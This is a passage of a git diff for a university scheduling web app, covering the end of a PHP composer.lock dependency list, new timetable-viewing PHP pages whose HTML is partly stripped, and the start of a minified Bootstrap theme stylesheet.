"523407fb06eb9e5f3d59889b3978d5bfe94299c8", + "shasum": "" + }, + "require": { + "php": "~5.6.0 || ~7.0.0 || ~7.1.0 || ~7.2.0 || ~7.3.0 || ~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0" + }, + "require-dev": { + "cerdic/css-tidy": "^1.7 || ^2.0", + "simpletest/simpletest": "dev-master" + }, + "suggest": { + "cerdic/css-tidy": "If you want to use the filter 'Filter.ExtractStyleBlocks'.", + "ext-bcmath": "Used for unit conversion and imagecrash protection", + "ext-iconv": "Converts text to and from non-UTF-8 encodings", + "ext-tidy": "Used for pretty-printing HTML" + }, + "type": "library", + "autoload": { + "files": [ + "library/HTMLPurifier.composer.php" + ], + "psr-0": { + "HTMLPurifier": "library/" + }, + "exclude-from-classmap": [ + "/library/HTMLPurifier/Language/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-2.1-or-later" + ], + "authors": [ + { + "name": "Edward Z. Yang", + "email": "admin@htmlpurifier.org", + "homepage": "http://ezyang.com" + } + ], + "description": "Standards compliant HTML filter written in PHP", + "homepage": "http://htmlpurifier.org/", + "keywords": [ + "html" + ], + "support": { + "issues": "https://github.com/ezyang/htmlpurifier/issues", + "source": "https://github.com/ezyang/htmlpurifier/tree/v4.16.0" + }, + "time": "2022-09-18T07:06:19+00:00" + }, + { + "name": "graham-campbell/result-type", + "version": "v1.1.1", + "source": { + "type": "git", + "url": "https://github.com/GrahamCampbell/Result-Type.git", + "reference": "672eff8cf1d6fe1ef09ca0f89c4b287d6a3eb831" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/GrahamCampbell/Result-Type/zipball/672eff8cf1d6fe1ef09ca0f89c4b287d6a3eb831", + "reference": "672eff8cf1d6fe1ef09ca0f89c4b287d6a3eb831", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "phpoption/phpoption": "^1.9.1" + }, + "require-dev": { + "phpunit/phpunit": "^8.5.32 || ^9.6.3 || ^10.0.12" + }, + "type": "library", + "autoload": { + "psr-4": { + "GrahamCampbell\\ResultType\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + } + ], + "description": "An Implementation Of The Result Type", + "keywords": [ + "Graham Campbell", + "GrahamCampbell", + "Result Type", + "Result-Type", + "result" + ], + "support": { + "issues": "https://github.com/GrahamCampbell/Result-Type/issues", + "source": "https://github.com/GrahamCampbell/Result-Type/tree/v1.1.1" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/graham-campbell/result-type", + "type": "tidelift" + } + ], + "time": "2023-02-25T20:23:15+00:00" + }, + { + "name": "justinrainbow/json-schema", + "version": "5.2.12", + "source": { + "type": "git", + "url": "https://github.com/justinrainbow/json-schema.git", + "reference": "ad87d5a5ca981228e0e205c2bc7dfb8e24559b60" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/justinrainbow/json-schema/zipball/ad87d5a5ca981228e0e205c2bc7dfb8e24559b60", + "reference": "ad87d5a5ca981228e0e205c2bc7dfb8e24559b60", + "shasum": "" + }, + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "~2.2.20||~2.15.1", + "json-schema/json-schema-test-suite": "1.2.0", + "phpunit/phpunit": "^4.8.35" + }, + "bin": [ + "bin/validate-json" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "JsonSchema\\": "src/JsonSchema/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bruno Prieto Reis", + "email": "bruno.p.reis@gmail.com" + }, + { + "name": "Justin Rainbow", + "email": "justin.rainbow@gmail.com" + }, + { + "name": "Igor Wiedler", + "email": "igor@wiedler.ch" + }, + { + "name": "Robert Schönthal", + "email": "seroscho@googlemail.com" + } + ], + "description": "A library to validate a json schema.", + "homepage": "https://github.com/justinrainbow/json-schema", + "keywords": [ + "json", + "schema" + ], + "support": { + "issues": "https://github.com/justinrainbow/json-schema/issues", + "source": "https://github.com/justinrainbow/json-schema/tree/5.2.12" + }, + "time": "2022-04-13T08:02:27+00:00" + }, + { + "name": "maennchen/zipstream-php", + "version": "3.1.0", + "source": { + "type": "git", + "url": "https://github.com/maennchen/ZipStream-PHP.git", + "reference": "b8174494eda667f7d13876b4a7bfef0f62a7c0d1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/maennchen/ZipStream-PHP/zipball/b8174494eda667f7d13876b4a7bfef0f62a7c0d1", + "reference": "b8174494eda667f7d13876b4a7bfef0f62a7c0d1", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "ext-zlib": "*", + "php-64bit": "^8.1" + }, + "require-dev": { + "ext-zip": "*", + "friendsofphp/php-cs-fixer": "^3.16", + "guzzlehttp/guzzle": "^7.5", + "mikey179/vfsstream": "^1.6", + "php-coveralls/php-coveralls": "^2.5", + "phpunit/phpunit": "^10.0", + "vimeo/psalm": "^5.0" + }, + "suggest": { + "guzzlehttp/psr7": "^2.4", + "psr/http-message": "^2.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "ZipStream\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paul Duncan", + "email": "pabs@pablotron.org" + }, + { + "name": "Jonatan Männchen", + "email": "jonatan@maennchen.ch" + }, + { + "name": "Jesse Donat", + "email": "donatj@gmail.com" + }, + { + "name": "András Kolesár", + "email": "kolesar@kolesar.hu" + } + ], + "description": "ZipStream is a library for dynamically streaming dynamic zip files from PHP without writing to the disk at all on the server.", + "keywords": [ + "stream", + "zip" + ], + "support": { + "issues": "https://github.com/maennchen/ZipStream-PHP/issues", + "source": "https://github.com/maennchen/ZipStream-PHP/tree/3.1.0" + }, + "funding": [ + { + "url": "https://github.com/maennchen", + "type": "github" + }, + { + "url": "https://opencollective.com/zipstream", + "type": "open_collective" + } + ], + "time": "2023-06-21T14:59:35+00:00" + }, + { + "name": "markbaker/complex", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/MarkBaker/PHPComplex.git", + "reference": "95c56caa1cf5c766ad6d65b6344b807c1e8405b9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/MarkBaker/PHPComplex/zipball/95c56caa1cf5c766ad6d65b6344b807c1e8405b9", + "reference": "95c56caa1cf5c766ad6d65b6344b807c1e8405b9", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "require-dev": { + "dealerdirect/phpcodesniffer-composer-installer": "dev-master", + "phpcompatibility/php-compatibility": "^9.3", + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", + "squizlabs/php_codesniffer": "^3.7" + }, + "type": "library", + "autoload": { + "psr-4": { + "Complex\\": "classes/src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mark Baker", + "email": "mark@lange.demon.co.uk" + } + ], + "description": "PHP Class for working with complex numbers", + "homepage": "https://github.com/MarkBaker/PHPComplex", + "keywords": [ + "complex", + "mathematics" + ], + "support": { + "issues": "https://github.com/MarkBaker/PHPComplex/issues", + "source": "https://github.com/MarkBaker/PHPComplex/tree/3.0.2" + }, + "time": "2022-12-06T16:21:08+00:00" + }, + { + "name": "markbaker/matrix", + "version": "3.0.1", + "source": { + "type": "git", + "url": "https://github.com/MarkBaker/PHPMatrix.git", + "reference": "728434227fe21be27ff6d86621a1b13107a2562c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/MarkBaker/PHPMatrix/zipball/728434227fe21be27ff6d86621a1b13107a2562c", + "reference": "728434227fe21be27ff6d86621a1b13107a2562c", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "dealerdirect/phpcodesniffer-composer-installer": "dev-master", + "phpcompatibility/php-compatibility": "^9.3", + "phpdocumentor/phpdocumentor": "2.*", + "phploc/phploc": "^4.0", + "phpmd/phpmd": "2.*", + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0", + "sebastian/phpcpd": "^4.0", + "squizlabs/php_codesniffer": "^3.7" + }, + "type": "library", + "autoload": { + "psr-4": { + "Matrix\\": "classes/src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mark Baker", + "email": "mark@demon-angel.eu" + } + ], + "description": "PHP Class for working with matrices", + "homepage": "https://github.com/MarkBaker/PHPMatrix", + "keywords": [ + "mathematics", + "matrix", + "vector" + ], + "support": { + "issues": "https://github.com/MarkBaker/PHPMatrix/issues", + "source": "https://github.com/MarkBaker/PHPMatrix/tree/3.0.1" + }, + "time": "2022-12-02T22:17:43+00:00" + }, + { + "name": "phpoffice/phpspreadsheet", + "version": "1.29.0", + "source": { + "type": "git", + "url": "https://github.com/PHPOffice/PhpSpreadsheet.git", + "reference": "fde2ccf55eaef7e86021ff1acce26479160a0fa0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPOffice/PhpSpreadsheet/zipball/fde2ccf55eaef7e86021ff1acce26479160a0fa0", + "reference": "fde2ccf55eaef7e86021ff1acce26479160a0fa0", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-dom": "*", + "ext-fileinfo": "*", + "ext-gd": "*", + "ext-iconv": "*", + "ext-libxml": "*", + "ext-mbstring": "*", + "ext-simplexml": "*", + "ext-xml": "*", + "ext-xmlreader": "*", + "ext-xmlwriter": "*", + "ext-zip": "*", + "ext-zlib": "*", + "ezyang/htmlpurifier": "^4.15", + "maennchen/zipstream-php": "^2.1 || ^3.0", + "markbaker/complex": "^3.0", + "markbaker/matrix": "^3.0", + "php": "^7.4 || ^8.0", + "psr/http-client": "^1.0", + "psr/http-factory": "^1.0", + "psr/simple-cache": "^1.0 || ^2.0 || ^3.0" + }, + "require-dev": { + "dealerdirect/phpcodesniffer-composer-installer": "dev-main", + "dompdf/dompdf": "^1.0 || ^2.0", + "friendsofphp/php-cs-fixer": "^3.2", + "mitoteam/jpgraph": "^10.3", + "mpdf/mpdf": "^8.1.1", + "phpcompatibility/php-compatibility": "^9.3", + "phpstan/phpstan": "^1.1", + "phpstan/phpstan-phpunit": "^1.0", + "phpunit/phpunit": "^8.5 || ^9.0 || ^10.0", + "squizlabs/php_codesniffer": "^3.7", + "tecnickcom/tcpdf": "^6.5" + }, + "suggest": { + "dompdf/dompdf": "Option for rendering PDF with PDF Writer", + "ext-intl": "PHP Internationalization Functions", + "mitoteam/jpgraph": "Option for rendering charts, or including charts with PDF or HTML Writers", + "mpdf/mpdf": "Option for rendering PDF with PDF Writer", + "tecnickcom/tcpdf": "Option for rendering PDF with PDF Writer" + }, + "type": "library", + "autoload": { + "psr-4": { + "PhpOffice\\PhpSpreadsheet\\": "src/PhpSpreadsheet" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Maarten Balliauw", + "homepage": "https://blog.maartenballiauw.be" + }, + { + "name": "Mark Baker", + "homepage": "https://markbakeruk.net" + }, + { + "name": "Franck Lefevre", + "homepage": "https://rootslabs.net" + }, + { + "name": "Erik Tilt" + }, + { + "name": "Adrien Crivelli" + } + ], + "description": "PHPSpreadsheet - Read, Create and Write Spreadsheet documents in PHP - Spreadsheet engine", + "homepage": "https://github.com/PHPOffice/PhpSpreadsheet", + "keywords": [ + "OpenXML", + "excel", + "gnumeric", + "ods", + "php", + "spreadsheet", + "xls", + "xlsx" + ], + "support": { + "issues": "https://github.com/PHPOffice/PhpSpreadsheet/issues", + "source": "https://github.com/PHPOffice/PhpSpreadsheet/tree/1.29.0" + }, + "time": "2023-06-14T22:48:31+00:00" + }, + { + "name": "phpoption/phpoption", + "version": "1.9.1", + "source": { + "type": "git", + "url": "https://github.com/schmittjoh/php-option.git", + "reference": "dd3a383e599f49777d8b628dadbb90cae435b87e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/schmittjoh/php-option/zipball/dd3a383e599f49777d8b628dadbb90cae435b87e", + "reference": "dd3a383e599f49777d8b628dadbb90cae435b87e", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.32 || ^9.6.3 || ^10.0.12" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": true + }, + "branch-alias": { + "dev-master": "1.9-dev" + } + }, + "autoload": { + "psr-4": { + "PhpOption\\": "src/PhpOption/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Johannes M. Schmitt", + "email": "schmittjoh@gmail.com", + "homepage": "https://github.com/schmittjoh" + }, + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + } + ], + "description": "Option Type for PHP", + "keywords": [ + "language", + "option", + "php", + "type" + ], + "support": { + "issues": "https://github.com/schmittjoh/php-option/issues", + "source": "https://github.com/schmittjoh/php-option/tree/1.9.1" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpoption/phpoption", + "type": "tidelift" + } + ], + "time": "2023-02-25T19:38:58+00:00" + }, + { + "name": "psr/http-client", + "version": "1.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-client.git", + "reference": "0955afe48220520692d2d09f7ab7e0f93ffd6a31" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-client/zipball/0955afe48220520692d2d09f7ab7e0f93ffd6a31", + "reference": "0955afe48220520692d2d09f7ab7e0f93ffd6a31", + "shasum": "" + }, + "require": { + "php": "^7.0 || ^8.0", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Client\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP clients", + "homepage": "https://github.com/php-fig/http-client", + "keywords": [ + "http", + "http-client", + "psr", + "psr-18" + ], + "support": { + "source": "https://github.com/php-fig/http-client/tree/1.0.2" + }, + "time": "2023-04-10T20:12:12+00:00" + }, + { + "name": "psr/http-factory", + "version": "1.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-factory.git", + "reference": "e616d01114759c4c489f93b099585439f795fe35" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-factory/zipball/e616d01114759c4c489f93b099585439f795fe35", + "reference": "e616d01114759c4c489f93b099585439f795fe35", + "shasum": "" + }, + "require": { + "php": ">=7.0.0", + "psr/http-message": "^1.0 || ^2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interfaces for PSR-7 HTTP message factories", + "keywords": [ + "factory", + "http", + "message", + "psr", + "psr-17", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-factory/tree/1.0.2" + }, + "time": "2023-04-10T20:10:41+00:00" + }, + { + "name": "psr/http-message", + "version": "2.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/http-message.git", + "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/http-message/zipball/402d35bcb92c70c026d1a6a9883f06b2ead23d71", + "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Http\\Message\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for HTTP messages", + "homepage": "https://github.com/php-fig/http-message", + "keywords": [ + "http", + "http-message", + "psr", + "psr-7", + "request", + "response" + ], + "support": { + "source": "https://github.com/php-fig/http-message/tree/2.0" + }, + "time": "2023-04-04T09:54:51+00:00" + }, + { + "name": "psr/simple-cache", + "version": "3.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/simple-cache.git", + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/764e0b3939f5ca87cb904f570ef9be2d78a07865", + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865", + "shasum": "" + }, + "require": { + "php": ">=8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interfaces for simple caching", + "keywords": [ + "cache", + "caching", + "psr", + "psr-16", + "simple-cache" + ], + "support": { + "source": "https://github.com/php-fig/simple-cache/tree/3.0.0" + }, + "time": "2021-10-29T13:26:27+00:00" + }, + { + "name": "seinopsys/postgresql-database-class", + "version": "v3.1.1", + "source": { + "type": "git", + "url": "https://github.com/SeinopSys/PHP-PostgreSQL-Database-Class.git", + "reference": "47a648fdb67c2fc27e8ff35091c8e36cd95596e9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/SeinopSys/PHP-PostgreSQL-Database-Class/zipball/47a648fdb67c2fc27e8ff35091c8e36cd95596e9", + "reference": "47a648fdb67c2fc27e8ff35091c8e36cd95596e9", + "shasum": "" + }, + "require": { + "ext-pdo": "*", + "ext-pdo_pgsql": "*", + "php": ">=5.4" + }, + "require-dev": { + "squizlabs/php_codesniffer": "3.*" + }, + "type": "library", + "autoload": { + "psr-4": { + "SeinopSys\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "GPL-3.0-or-later" + ], + "authors": [ + { + "name": "SeinopSys", + "email": "seinopsys@gmail.com", + "homepage": "https://github.com/SeinopSys", + "role": "Developer" + } + ], + "description": "PHP wrapper class for PDO-based interaction with PostgreSQL databases, heavily based on ThingEngineer's MysqliDb class", + "support": { + "issues": "https://github.com/SeinopSys/PHP-PostgreSQL-Database-Class/issues", + "source": "https://github.com/SeinopSys/PHP-PostgreSQL-Database-Class/tree/master" + }, + "time": "2019-05-26T17:41:40+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.28.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb", + "reference": "ea208ce43cbb04af6867b4fdddb1bdbf84cc28cb", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-ctype": "*" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.28-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "support": { + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.28.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-01-26T09:26:14+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.28.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "42292d99c55abe617799667f454222c54c60e229" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/42292d99c55abe617799667f454222c54c60e229", + "reference": "42292d99c55abe617799667f454222c54c60e229", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-mbstring": "*" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.28-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.28.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-07-28T09:04:16+00:00" + }, + { + "name": "symfony/polyfill-php80", + "version": "v1.28.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php80.git", + "reference": "6caa57379c4aec19c0a12a38b59b26487dcfe4b5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/6caa57379c4aec19c0a12a38b59b26487dcfe4b5", + "reference": "6caa57379c4aec19c0a12a38b59b26487dcfe4b5", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.28-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php80\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ion Bazan", + "email": "ion.bazan@gmail.com" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php80/tree/v1.28.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-01-26T09:26:14+00:00" + }, + { + "name": "vlucas/phpdotenv", + "version": "v5.5.0", + "source": { + "type": "git", + "url": "https://github.com/vlucas/phpdotenv.git", + "reference": "1a7ea2afc49c3ee6d87061f5a233e3a035d0eae7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/vlucas/phpdotenv/zipball/1a7ea2afc49c3ee6d87061f5a233e3a035d0eae7", + "reference": "1a7ea2afc49c3ee6d87061f5a233e3a035d0eae7", + "shasum": "" + }, + "require": { + "ext-pcre": "*", + "graham-campbell/result-type": "^1.0.2", + "php": "^7.1.3 || ^8.0", + "phpoption/phpoption": "^1.8", + "symfony/polyfill-ctype": "^1.23", + "symfony/polyfill-mbstring": "^1.23.1", + "symfony/polyfill-php80": "^1.23.1" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.4.1", + "ext-filter": "*", + "phpunit/phpunit": "^7.5.20 || ^8.5.30 || ^9.5.25" + }, + "suggest": { + "ext-filter": "Required to use the boolean validator." + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": true + }, + "branch-alias": { + "dev-master": "5.5-dev" + } + }, + "autoload": { + "psr-4": { + "Dotenv\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Vance Lucas", + "email": "vance@vancelucas.com", + "homepage": "https://github.com/vlucas" + } + ], + "description": "Loads environment variables from `.env` to `getenv()`, `$_ENV` and `$_SERVER` automagically.", + "keywords": [ + "dotenv", + "env", + "environment" + ], + "support": { + "issues": "https://github.com/vlucas/phpdotenv/issues", + "source": "https://github.com/vlucas/phpdotenv/tree/v5.5.0" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/vlucas/phpdotenv", + "type": "tidelift" + } + ], + "time": "2022-10-16T01:01:54+00:00" + } + ], + "packages-dev": [], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": [], + "platform-dev": [], + "plugin-api-version": "2.3.0" +} diff --git a/consultar_horario.php b/consultar_horario.php new file mode 100644 index 0000000..ff98493 --- /dev/null +++ b/consultar_horario.php @@ -0,0 +1,225 @@ +access(); +if (in_array($user->acceso, ['n'])) + die(header('Location: main.php?error=1')); + +$user->print_to_log('Consultar horario'); + +$write = $user->admin || in_array($user->acceso, ['r']); +?> + + + + + Consultar horario | + <?= $user->facultad['facultad'] ?> + + + + + + + + + + + + + +
+
+ + +
+ +
+ +
+ + + + + + + + + + + + + + + + + + + +
HoraLunesMartesMiércolesJuevesViernesSábado
+ {{ hour.toString().padStart(2, '0') }}:{{ block === 0 ? '00' : + block.toString().padStart(2,'0') }} + + +
+
+ + {{horarios.getHorarioData(hour, block, día)?.facultad}} + +
+
+ + {{horarios.getHorarioData(hour, block, día)?.horario_hora.slice(0, 5)}} + + + {{horarios.getHorarioData(hour, block, día)?.materia}} + +
+ + {{horarios.getHorarioData(hour, block, día)?.carrera}} + +
+ Salón: + + {{horarios.getHorarioData(hour, block, día)?.salon}} + +
+
 
+
+
+
+ + + + + + + + \ No newline at end of file diff --git a/consultar_horario_old.php b/consultar_horario_old.php new file mode 100644 index 0000000..00aaae9 --- /dev/null +++ b/consultar_horario_old.php @@ -0,0 +1,390 @@ +print_to_log('Consultar horario'); + +$write = $user->admin || in_array($user->acceso, ['w']); +// var_dump($user); +?> + + + + + Consultar horario | + <?= $user->facultad['facultad'] ?? 'General' ?> + + + + + + + + + + + " ?> +
+
+ + + +
+
+
+ $user->facultad['facultad_id'], ":per" => $user->periodo_id], single: false); + // repliaction of the query in the database with database class + $nivel = $user->periodo_id ? $db->where('id', $user->periodo_id)->getOne('fs_periodo') : false; + + $carreras = $nivel ? $db + ->orderBy('carrera') + ->where('facultad', $nivel['facultad_id']) + ->where('nivel', $nivel['nivel_id']) + ->get('fs_carrera', 100, 'id, carrera') : []; + + ?> +
+ +
+
+
Seleccionar carrera
+ +
    + +
  • + +
  • + +
+ +
+
+
+ + + +
+ +
+
+
Seleccionar grupo
+ +
    +
+ +
+
+
+ +
+ + + +
+
+
+ +
+ + + +
+ + + + + + + + + + + + + +
HoraLunesMartesMiércolesJuevesViernesSábado
+
+ + + + +
+ + + + + + \ No newline at end of file diff --git a/css/bg-progress-bar.png b/css/bg-progress-bar.png new file mode 100644 index 0000000..bca4505 Binary files /dev/null and b/css/bg-progress-bar.png differ diff --git a/css/bootstrap-ulsa.min.css b/css/bootstrap-ulsa.min.css new file mode 100644 index 0000000..689f541 --- /dev/null +++ b/css/bootstrap-ulsa.min.css @@ -0,0 +1 @@ +:root{--blue:#007bff;--indigo:#001d68;--purple:#6f42c1;--pink:#e83e8c;--red:#d21034;--orange:#fd7e14;--yellow:#ffc107;--green:#339933;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#969696;--gray-dark:#343a40;--primary:#001d68;--secondary:#001d68;--success:#339933;--info:#969696;--warning:#ffc107;--danger:#d21034;--light:#f7f7f7;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier 